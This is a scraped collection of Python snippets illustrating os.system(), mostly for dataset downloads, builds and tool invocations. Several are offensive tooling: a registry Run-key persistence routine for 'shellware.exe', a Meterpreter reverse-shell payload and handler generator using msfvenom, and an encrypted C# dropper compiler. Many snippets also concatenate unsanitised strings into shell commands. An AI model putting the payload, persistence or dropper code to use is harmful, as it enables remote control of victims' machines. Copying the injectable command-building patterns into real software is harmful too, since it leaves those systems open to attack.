Python os.system() Examples

def get_cifar10(data_dir):
    if not os.path.isdir(data_dir):
        os.system("mkdir " + data_dir)
    cwd = os.path.abspath(os.getcwd())
    os.chdir(data_dir)
    if (not os.path.exists('train.rec')) or \
       (not os.path.exists('test.rec')) :
        import urllib, zipfile, glob
        dirname = os.getcwd()
        zippath = os.path.join(dirname, "cifar10.zip")
        urllib.urlretrieve("http://data.mxnet.io/mxnet/data/cifar10.zip", zippath)
        zf = zipfile.ZipFile(zippath, "r")
        zf.extractall()
        zf.close()
        os.remove(zippath)
        for f in glob.glob(os.path.join(dirname, "cifar", "*")):
            name = f.split(os.path.sep)[-1]
            os.rename(f, os.path.join(dirname, name))
        os.rmdir(os.path.join(dirname, "cifar"))
    os.chdir(cwd)

# data 

def main():
    parser = argparse.ArgumentParser(
        description="Jupyter Notebooks to markdown"
    )

    parser.add_argument("notebook", nargs=1, help="The notebook to be converted.")
    parser.add_argument("-o", "--output", help="output markdown file")
    args = parser.parse_args()

    old_ipynb = args.notebook[0]
    new_ipynb = 'tmp.ipynb'
    md_file = args.output
    print(md_file)
    if not md_file:
        md_file = os.path.splitext(old_ipynb)[0] + '.md'


    clear_notebook(old_ipynb, new_ipynb)
    os.system('jupyter nbconvert ' + new_ipynb + ' --to markdown --output ' + md_file)
    with open(md_file, 'a') as f:
        f.write('<!-- INSERT SOURCE DOWNLOAD BUTTONS -->')
    os.system('rm ' + new_ipynb) 

def run(self):
        try:
            self.status('Removing previous builds...')
            rmtree(os.path.join(base_path, 'dist'))
        except OSError:
            pass

        self.status('Building Source and Wheel (universal) distribution...')
        os.system('{0} setup.py sdist bdist_wheel'.format(sys.executable))

        self.status('Pushing git tags...')
        os.system('git tag v{0}'.format(get_version()))
        os.system('git push --tags')

        try:
            self.status('Removing build artifacts...')
            rmtree(os.path.join(base_path, 'build'))
            rmtree(os.path.join(base_path, '{}.egg-info'.format(PACKAGE_NAME)))
        except OSError:
            pass

        sys.exit() 

def download_video(url, local_filename):
  if not download_videos:
    return True

  try:
    local_filename_escaped = local_filename.replace(' ', '\ ')
    command = '%s -q --no-warnings %s --exec \'mv {} %s\' &>/dev/null' % \
        (youtube_dl_path, url, local_filename_escaped)
    if os.system(command) > 0:
      return False
    if os.path.isfile(local_filename):
      return True
    else:
      return False
  except:
    return False


# Downloads an avatar image for a tweet.
# @return Whether data was rewritten 

def check_dependencies_or_exit():
    dependencies = [
            which("e2cp",
                ubuntu="apt-get install e2tools",
                arch="yaourt -S e2tools",
                darwin="brew install e2tools gettext e2fsprogs\nbrew unlink e2fsprogs && brew link e2fsprogs -f"),
            which("qemu-system-arm",
                  ubuntu="apt-get install qemu",
                  kali="apt-get install qemu-system",
                  arch="pacman -S qemu-arch-extra",
                  darwin="brew install qemu"),
            which("unzip",
                ubuntu="apt-get install unzip",
                arch="pacman -S unzip",
                darwin="brew install unzip")
            ]
    if not all(dependencies):
        print("requirements missing, plz install them", file=sys.stderr)
        sys.exit(1) 

def get_perf(filename):
    ''' run conlleval.pl perl script to obtain
    precision/recall and F1 score '''
    _conlleval = PREFIX + 'conlleval'
    if not isfile(_conlleval):
        #download('http://www-etud.iro.umontreal.ca/~mesnilgr/atis/conlleval.pl') 
        os.system('wget https://www.comp.nus.edu.sg/%7Ekanmy/courses/practicalNLP_2008/packages/conlleval.pl')
        chmod('conlleval.pl', stat.S_IRWXU) # give the execute permissions
    
    out = []
    proc = subprocess.Popen(["perl", _conlleval], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    stdout, _ = proc.communicate(open(filename).read())
    for line in stdout.split('\n'):
        if 'accuracy' in line:
            out = line.split()
            break
    
    # out = ['accuracy:', '16.26%;', 'precision:', '0.00%;', 'recall:', '0.00%;', 'FB1:', '0.00']
    precision = float(out[3][:-2])
    recall    = float(out[5][:-2])
    f1score   = float(out[7])

    return {'p':precision, 'r':recall, 'f1':f1score} 

def autorun(dir, fileName, run):
	# Copy to C:\Users
	os.system('copy %s %s'%(fileName, dir))

	# Queries Windows registry for the autorun key value
	# Stores the key values in runkey array
	key = OpenKey(HKEY_LOCAL_MACHINE, run)
	runkey =[]
	try:
		i = 0
		while True:
			subkey = EnumValue(key, i)
			runkey.append(subkey[0])
			i += 1
	except WindowsError:
		pass

	# Set key
	if 'foobar' not in runkey:
		try:
			key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
			SetValueEx(key ,'foobar',0,REG_SZ,r"C:\Users\shellware.exe")
			key.Close()
		except WindowsError:
			pass 

def run_qemu(arch, kernel, dtb, rootfs, add_qemu_options):
    dtb = "" if not os.path.exists(dtb) else "-dtb {}".format(dtb)
    options = qemu_options[arch][1].format(arch=arch, kernel=kernel, rootfs=rootfs, dtb=dtb)
    arch = qemu_options[arch][0]
    print("Starting qemu-system-{}".format(arch))
    qemu_config = "-serial stdio -monitor null {add_qemu_options}".format(add_qemu_options=add_qemu_options)
    cmd = """stty intr ^]
       export QEMU_AUDIO_DRV="none"
       qemu-system-{arch} {options} \
               -m 256M \
               -nographic \
               {qemu_config} \
               {dtb} \
               -no-reboot
       stty intr ^c
    """.format(arch=arch, qemu_config=qemu_config, options=options, dtb=dtb)
    pgreen(cmd)
    os.system(cmd) 

def run(self):
        try:
            self.status('Removing previous builds…')
            rmtree(os.path.join(here, 'dist'))
        except OSError:
            pass

        self.status('Building Source and Wheel (universal) distribution…')
        os.system('{0} setup.py sdist bdist_wheel --universal'.format(
            sys.executable
        ))

        self.status('Uploading the package to PyPi via Twine…')
        os.system('twine upload dist/*')

        sys.exit() 

def predict_on_batch(self, inputs):
        # write test fasta file
        temp_input = tempfile.NamedTemporaryFile(suffix = ".txt")
        test_fname = temp_input.name
        encode_sequence_into_fasta_file(ofname = test_fname, seq = inputs.tolist())
        # test gkmsvm
        temp_ofp = tempfile.NamedTemporaryFile(suffix = ".txt")
        threads_option = '-T %s' % (str(self.threads))
        verbosity_option = '-v 0'
        command = ' '.join(['gkmpredict',
                            test_fname,
                            self.model_file,
                            temp_ofp.name,
                            threads_option,
                            verbosity_option])
        #process = subprocess.Popen(command, shell=True)
        #process.wait()  # wait for it to finish
        exit_code = os.system(command)
        temp_input.close()
        assert exit_code == 0
        # get classification results
        temp_ofp.seek(0)
        y = np.array([line.split()[-1] for line in temp_ofp], dtype=float)
        temp_ofp.close()
        return np.expand_dims(y, 1) 

def print_mutation(hyp, results, bucket=''):
    # Print mutation results to evolve.txt (for use with train.py --evolve)
    a = '%10s' * len(hyp) % tuple(hyp.keys())  # hyperparam keys
    b = '%10.3g' * len(hyp) % tuple(hyp.values())  # hyperparam values
    c = '%10.3g' * len(results) % results  # results (P, R, mAP, F1, test_loss)
    print('\n%s\n%s\nEvolved fitness: %s\n' % (a, b, c))

    if bucket:
        os.system('gsutil cp gs://%s/evolve.txt .' % bucket)  # download evolve.txt

    with open('evolve.txt', 'a') as f:  # append result
        f.write(c + b + '\n')
    x = np.unique(np.loadtxt('evolve.txt', ndmin=2), axis=0)  # load unique rows
    np.savetxt('evolve.txt', x[np.argsort(-fitness(x))], '%10.3g')  # save sort by fitness

    if bucket:
        os.system('gsutil cp evolve.txt gs://%s' % bucket)  # upload evolve.txt 

def communication_initialization(self):
		self.clients = []
		if self.serverorclient:
			if self.os_type == common.OS_LINUX:
				ps = subprocess.Popen(["cat", "/proc/sys/net/ipv4/icmp_echo_ignore_all"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
				(stdout, stderr) = ps.communicate()
				if stderr:
					common.internal_print("Error: deleting default route: {0}".format(stderr), -1)
					sys.exit(-1)
				self.orig_ieia_value = stdout[0:1]
				os.system("echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all")

		if self.serverorclient:
			self.ICMP_send = self.icmp.ICMP_ECHO_RESPONSE
		else:
			self.ICMP_send = self.icmp.ICMP_ECHO_REQUEST
		return 

def msf_payloads(ip, output_dir, payload_port):
	# Payloads Dictionary
	payloads = []
	payloads.append(["windows/meterpreter/reverse_tcp",payload_port, "exe", "revmet.exe"])
	payloads.append(["windows/x64/meterpreter/reverse_tcp", payload_port, "exe", "revmet64.exe"])
	payloads.append(["windows/meterpreter/reverse_http",payload_port, "exe", "methttp.exe"])
	payloads.append(["windows/meterpreter/reverse_https",payload_port, "exe", "methttps.exe"])
	payloads.append(["windows/x64/meterpreter/reverse_tcp",payload_port, "exe-service" , "serv64.exe"])
	payloads.append(["windows/meterpreter/reverse_tcp",payload_port, "exe-service" ,"serv.exe"])
	payloads.append(["windows/meterpreter/reverse_tcp",payload_port, "dll", "revmetdll.dll"])
	payloads.append(["windows/x64/meterpreter/reverse_tcp",payload_port, "dll", "revmetdll64.dll"])
	payloads.append(["windows/x64/meterpreter/reverse_https", payload_port, "exe", "methttps64.exe"])

	#./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

	for parms in payloads:
		payload = parms[0]
		lport = str(parms[1])
		output_type = parms[2]
		ext = parms[3]
		base = output_dir
		venom_cmd = "msfvenom -p " + payload + " LHOST=" + ip + " LPORT=" + lport + " -f " + output_type + " -o " + base + ext
		print("[!] Generating : " + bluetxt(payload))
		print("[>] LHOST " + greentxt(ip) + " on port " + greentxt(lport))
		os.system(venom_cmd)
                # strip off ext and replace with .rc
		print("[!] Generating handler for : " + bluetxt(payload))

		handler = ext.split(".")[0] + ".rc"
		handler_file = open(base + "handlers/" + handler , "w+")
		handler_file.write("use exploit/multi/handler\n")
		handler_file.write("set payload " + payload +"\n")
		handler_file.write("set LPORT " + str(payload_port) + "\n")
		handler_file.write("set LHOST " + ip + "\n")
		handler_file.write("set ExitOnSession False\n")
		handler_file.write("exploit -j -z\n")
		handler_file.close()
		print("[!] Generated : " + yellowtxt(handler) + "\n\n") 

def process_network_proto(caffe_root, deploy_proto):
    """
    Runs the caffe upgrade tool on the prototxt to create a prototxt in the latest format.
    This enable us to work just with latest structures, instead of supporting all the variants

    :param caffe_root: link to caffe root folder, where the upgrade tool is located
    :param deploy_proto: name of the original prototxt file
    :return: name of new processed prototxt file
    """
    processed_deploy_proto = deploy_proto + ".processed"

    from shutil import copyfile
    copyfile(deploy_proto, processed_deploy_proto)

    # run upgrade tool on new file name (same output file)
    import os
    upgrade_tool_command_line = caffe_root + '/build/tools/upgrade_net_proto_text.bin ' \
                                + processed_deploy_proto + ' ' + processed_deploy_proto
    os.system(upgrade_tool_command_line)

    return processed_deploy_proto 

def get_mnist(data_dir):
    if not os.path.isdir(data_dir):
        os.system("mkdir " + data_dir)
    os.chdir(data_dir)
    if (not os.path.exists('train-images-idx3-ubyte')) or \
       (not os.path.exists('train-labels-idx1-ubyte')) or \
       (not os.path.exists('t10k-images-idx3-ubyte')) or \
       (not os.path.exists('t10k-labels-idx1-ubyte')):
        import urllib, zipfile
        zippath = os.path.join(os.getcwd(), "mnist.zip")
        urllib.urlretrieve("http://data.mxnet.io/mxnet/data/mnist.zip", zippath)
        zf = zipfile.ZipFile(zippath, "r")
        zf.extractall()
        zf.close()
        os.remove(zippath)
    os.chdir("..") 

def generateLauncher(args):
    """
    Generates a launcher executable.

    Takes the input .exe or .cs file, compiles it to a temporary
    location, reads the raw bytes in, generates the launcher code
    using generateLauncherCode() and writes everything out.
    """

    # if no resource specified, choose a random one
    if not args.r: args.r = randomString()

    # build our new filename, "payload.cs" -> "payload_dropper.cs"
    if not args.o:
        launcherSourceName = ".".join(pieces[:-2]) + pieces[-2] + "_launcher." + pieces[-1]
        finalExeName = ".".join(pieces[:-2]) + pieces[-2] + "_launcher.exe"
    else:
        launcherSourceName = args.o + ".cs"
        finalExeName = args.o + ".exe"
    
    # get the raw bytes of the original payload
    payloadRaw = buildTemp(args)

    # grab the launcher source code
    payloadCode = generateLauncherCode(payloadRaw)

    # write our launcher source out
    f = open(launcherSourceName, 'w')
    f.write(payloadCode)
    f.close()
    print " [*] Dropper source output to %s" %(launcherSourceName)
    
    # compile the dropper source
    print " [*] Compiling encrypted source..."
    os.system('mcs -platform:x86 -target:winexe '+launcherSourceName+' -out:' + finalExeName)
    print " [*] Encrypted binary written to: %s" %(finalExeName)
    print "\n [*] Finished!\n" 

def download_semeval(root_path=default_root_path):
    check_root()
    if not os.path.exists(os.path.join(root_path, 'benchmark/semeval')):
        os.mkdir(os.path.join(root_path, 'benchmark/semeval'))
        os.system('wget -P ' + os.path.join(root_path, 'benchmark/semeval') + ' ' + root_url + 'opennre/benchmark/semeval/semeval_rel2id.json')
        os.system('wget -P ' + os.path.join(root_path, 'benchmark/semeval') + ' ' + root_url + 'opennre/benchmark/semeval/semeval_train.txt')
        os.system('wget -P ' + os.path.join(root_path, 'benchmark/semeval') + ' ' + root_url + 'opennre/benchmark/semeval/semeval_test.txt')
        os.system('wget -P ' + os.path.join(root_path, 'benchmark/semeval') + ' ' + root_url + 'opennre/benchmark/semeval/semeval_val.txt') 

def download_nyt10(root_path=default_root_path):
    check_root()
    if not os.path.exists(os.path.join(root_path, 'benchmark/nyt10')):
        os.mkdir(os.path.join(root_path, 'benchmark/nyt10'))
        os.system('wget -P ' + os.path.join(root_path, 'benchmark/nyt10') + ' ' + root_url + 'opennre/benchmark/nyt10/nyt10_rel2id.json')
        os.system('wget -P ' + os.path.join(root_path, 'benchmark/nyt10') + ' ' + root_url + 'opennre/benchmark/nyt10/nyt10_train.txt')
        os.system('wget -P ' + os.path.join(root_path, 'benchmark/nyt10') + ' ' + root_url + 'opennre/benchmark/nyt10/nyt10_test.txt')
        os.system('wget -P ' + os.path.join(root_path, 'benchmark/nyt10') + ' ' + root_url + 'opennre/benchmark/nyt10/nyt10_val.txt') 

def download_wiki80(root_path=default_root_path):
    check_root()
    if not os.path.exists(os.path.join(root_path, 'benchmark/wiki80')):
        os.mkdir(os.path.join(root_path, 'benchmark/wiki80'))
        os.system('wget -P ' + os.path.join(root_path, 'benchmark/wiki80') + ' ' + root_url + 'opennre/benchmark/wiki80/wiki80_rel2id.json')
        os.system('wget -P ' + os.path.join(root_path, 'benchmark/wiki80') + ' ' + root_url + 'opennre/benchmark/wiki80/wiki80_train.txt')
        os.system('wget -P ' + os.path.join(root_path, 'benchmark/wiki80') + ' ' + root_url + 'opennre/benchmark/wiki80/wiki80_val.txt') 

def main():
    while(True):
        os.system("python3 monitor.py")
        time.sleep(3) 

def __init__(self, id, params, worker):
		super(TemperatureSensor, self).__init__(id, params, worker)
		#self.active = False
		try:
			self.min = int(params["min"])
			self.max = int(params["max"])
			self.bouncetime = int(params["bouncetime"])
			self.device_id = params["device_id"]
		except ValueError as ve: # if one configuration parameter can't be parsed as int
			logging.error("TemperatureSensor: Wasn't able to initialize the sensor, please check your configuration: %s" % ve)
			self.corrupted = True
			return
		except KeyError as ke: # if config parameters are missing
			logging.error("TemperatureSensor: Wasn't able to initialize the sensor, it seems there is a config parameter missing: %s" % ke)
			self.corrupted = True
			return

		os.system('modprobe w1-gpio')
		os.system('modprobe w1-therm')

		base_dir = '/sys/bus/w1/devices/'
		#device_folder = glob.glob(base_dir + '28*')[0]
		self.device_file = base_dir + self.device_id + '/w1_slave'

		if not os.path.isfile(self.device_file): # if there is no slave file which contains the temperature
			self.corrupted = True
			logging.error("TemperatureSensor: Wasn't able to find temperature file at %s" % self.device_file)
			return

		logging.debug("TemperatureSensor: Sensor initialized") 

def buildTemp(args):
    """
    Compile the original payload source to a temporary location 
    and return the raw bytes.
    """

    if not args.i:
        print " [!] Input file must be specified\n"
        sys.exit()

    # if we already have an exe, return its raw bytes
    if args.i.split(".")[-1] == "exe":
        return open(args.i, 'rb').read()

    # if we have a C# payload
    elif args.i.split(".")[-1] == "cs":

        # output location for temporarily compiled file
        tempFile = "/tmp/" + randomString() + ".exe"

        # Compile our C# code into a temporary executable using Mono
        print(" [*] Compiling original source to %s" % (tempFile))

        # use Mono to bulid the temporary exe
        os.system('mcs -platform:x86 -target:winexe '+args.i+' -out:' + tempFile)

        # check if the output name was specified, otherwise use the one built above
        if len(sys.argv) == 3:
            finalExeName = sys.argv[2]

        # read in the raw paylode .exe bytes
        payloadRaw = open(tempFile, 'rb').read()

        # remove the temporary files
        os.system("rm %s" %(tempFile))

        return payloadRaw

    else:
        print " [!] Format not currently supported "
        sys.exit() 

def gen_sub(predictions,test_lst_path="test.lst",submission_path="submission.csv"):

    ## append time to avoid overwriting previous submissions
    ## submission_path=time.strftime("%Y%m%d%H%M%S_")+submission_path

    ### Make submission
    ## check sampleSubmission.csv from kaggle website to view submission format
    header = "acantharia_protist_big_center,acantharia_protist_halo,acantharia_protist,amphipods,appendicularian_fritillaridae,appendicularian_s_shape,appendicularian_slight_curve,appendicularian_straight,artifacts_edge,artifacts,chaetognath_non_sagitta,chaetognath_other,chaetognath_sagitta,chordate_type1,copepod_calanoid_eggs,copepod_calanoid_eucalanus,copepod_calanoid_flatheads,copepod_calanoid_frillyAntennae,copepod_calanoid_large_side_antennatucked,copepod_calanoid_large,copepod_calanoid_octomoms,copepod_calanoid_small_longantennae,copepod_calanoid,copepod_cyclopoid_copilia,copepod_cyclopoid_oithona_eggs,copepod_cyclopoid_oithona,copepod_other,crustacean_other,ctenophore_cestid,ctenophore_cydippid_no_tentacles,ctenophore_cydippid_tentacles,ctenophore_lobate,decapods,detritus_blob,detritus_filamentous,detritus_other,diatom_chain_string,diatom_chain_tube,echinoderm_larva_pluteus_brittlestar,echinoderm_larva_pluteus_early,echinoderm_larva_pluteus_typeC,echinoderm_larva_pluteus_urchin,echinoderm_larva_seastar_bipinnaria,echinoderm_larva_seastar_brachiolaria,echinoderm_seacucumber_auricularia_larva,echinopluteus,ephyra,euphausiids_young,euphausiids,fecal_pellet,fish_larvae_deep_body,fish_larvae_leptocephali,fish_larvae_medium_body,fish_larvae_myctophids,fish_larvae_thin_body,fish_larvae_very_thin_body,heteropod,hydromedusae_aglaura,hydromedusae_bell_and_tentacles,hydromedusae_h15,hydromedusae_haliscera_small_sideview,hydromedusae_haliscera,hydromedusae_liriope,hydromedusae_narco_dark,hydromedusae_narco_young,hydromedusae_narcomedusae,hydromedusae_other,hydromedusae_partial_dark,hydromedusae_shapeA_sideview_small,hydromedusae_shapeA,hydromedusae_shapeB,hydromedusae_sideview_big,hydromedusae_solmaris,hydromedusae_solmundella,hydromedusae_typeD_bell_and_tentacles,hydromedusae_typeD,hydromedusae_typeE,hydromedusae_typeF,invertebrate_larvae_other_A,invertebrate_larvae_other_B,jellies_tentacles,polychaete,protist_dark_center,protist_fuzzy_olive,protist_noctiluca,protist_other,protist_star,pteropod_butterfly,pteropod_theco_dev_seq,pteropod_triangle,radiolarian_chain,radiolarian_colony,shrimp_caridean,shrimp_sergestidae,shrimp_zoea,shrimp-like_other,siphonophore_calycophoran_abylidae,siphonophore_calycophoran_rocketship_adult,siphonophore_calycophoran_rocketship_young,siphonophore_calycophoran_sphaeronectes_stem,siphonophore_calycophoran_sphaeronectes_young,siphonophore_calycophoran_sphaeronectes,siphonophore_other_parts,siphonophore_partial,siphonophore_physonect_young,siphonophore_physonect,stomatopod,tornaria_acorn_worm_larvae,trichodesmium_bowtie,trichodesmium_multiple,trichodesmium_puff,trichodesmium_tuft,trochophore_larvae,tunicate_doliolid_nurse,tunicate_doliolid,tunicate_partial,tunicate_salp_chains,tunicate_salp,unknown_blobs_and_smudges,unknown_sticks,unknown_unclassified".split(',')


    # read first line to know the number of columns and column to use
    img_lst = pd.read_csv(test_lst_path,sep="/",header=None, nrows=1)
    columns = img_lst.columns.tolist() # get the columns
    cols_to_use = columns[len(columns)-1] # drop the last one
    cols_to_use= map(int, str(cols_to_use)) ## convert scalar to list


    img_lst= pd.read_csv(test_lst_path,sep="/",header=None, usecols=cols_to_use) ## reads lst, use / as sep to goet last column with filenames

    img_lst=img_lst.values.T.tolist()

    df = pd.DataFrame(predictions,columns = header, index=img_lst)
    df.index.name = 'image'

    print("Saving csv to %s" % submission_path)
    df.to_csv(submission_path)

    print("Compress with gzip")
    os.system("gzip -f %s" % submission_path)

    print("  stored in %s.gz" % submission_path) 

def get_movielens_data(prefix):
    if not os.path.exists("%s.zip" % prefix):
        print("Dataset MovieLens 10M not present. Downloading now ...")
        os.system("wget http://files.grouplens.org/datasets/movielens/%s.zip" % prefix)
        os.system("unzip %s.zip" % prefix)
        os.system("cd ml-10M100K; sh split_ratings.sh; cd -;") 

def get_chinese_text():
    if not os.path.isdir("data/"):
        os.system("mkdir data/")
    if (not os.path.exists('data/pos.txt')) or \
       (not os.path.exists('data/neg')):
        os.system("wget -q https://raw.githubusercontent.com/dmlc/web-data/master/mxnet/example/chinese_text.zip -P data/")
        os.chdir("./data")
        os.system("unzip -u chinese_text.zip")
        os.chdir("..") 

def download_data():
    if not os.path.isdir("data/"):
        os.system("mkdir data/")
    if (not os.path.exists('data/train-images-idx3-ubyte')) or \
       (not os.path.exists('data/train-labels-idx1-ubyte')) or \
       (not os.path.exists('data/t10k-images-idx3-ubyte')) or \
       (not os.path.exists('data/t10k-labels-idx1-ubyte')):
        os.system("wget -q http://data.mxnet.io/mxnet/data/mnist.zip -P data/")
        os.chdir("./data")
        os.system("unzip -u mnist.zip")
        os.chdir("..")

# get data iterators 

def test_notebooks():
    notebooks = ['sequence_example.ipynb']
    for notebook in notebooks:
        cmd = 'wget -q https://raw.githubusercontent.com/fabriziocosta/EDeN_examples/master/%s' % notebook
        os.system(cmd)
        cmd = 'jupyter nbconvert  --stdout --ExecutePreprocessor.enabled=True --ExecutePreprocessor.timeout=300 %s > /dev/null' % notebook
        res = os.system(cmd)
        os.system('rm -f %s' % notebook)
        assert res == 0 

def init_vgg_params(vgg, model_folder, ctx):
    if not os.path.exists(os.path.join(model_folder, 'mxvgg.params')):
        os.system('wget https://www.dropbox.com/s/7c92s0guekwrwzf/mxvgg.params?dl=1 -O' + os.path.join(model_folder, 'mxvgg.params'))
    vgg.collect_params().load(os.path.join(model_folder, 'mxvgg.params'), ctx=ctx)
    for param in vgg.collect_params().values():
        param.grad_req = 'null' 

def constituency_parse(filepath, cp='', tokenize=True):
    dirpath = os.path.dirname(filepath)
    filepre = os.path.splitext(os.path.basename(filepath))[0]
    tokpath = os.path.join(dirpath, filepre + '.toks')
    parentpath = os.path.join(dirpath, filepre + '.cparents')
    tokenize_flag = '-tokenize - ' if tokenize else ''
    cmd = ('java -cp %s ConstituencyParse -tokpath %s -parentpath %s %s < %s'
        % (cp, tokpath, parentpath, tokenize_flag, filepath))
    os.system(cmd) 

def download_glove(root_path=default_root_path):
    check_root()
    if not os.path.exists(os.path.join(root_path, 'pretrain/glove')):
        os.mkdir(os.path.join(root_path, 'pretrain/glove'))
        os.system('wget -P ' + os.path.join(root_path, 'pretrain/glove') +  ' ' + root_url + 'opennre/pretrain/glove/glove.6B.50d_mat.npy')
        os.system('wget -P ' + os.path.join(root_path, 'pretrain/glove') +  ' ' + root_url + 'opennre/pretrain/glove/glove.6B.50d_word2id.json')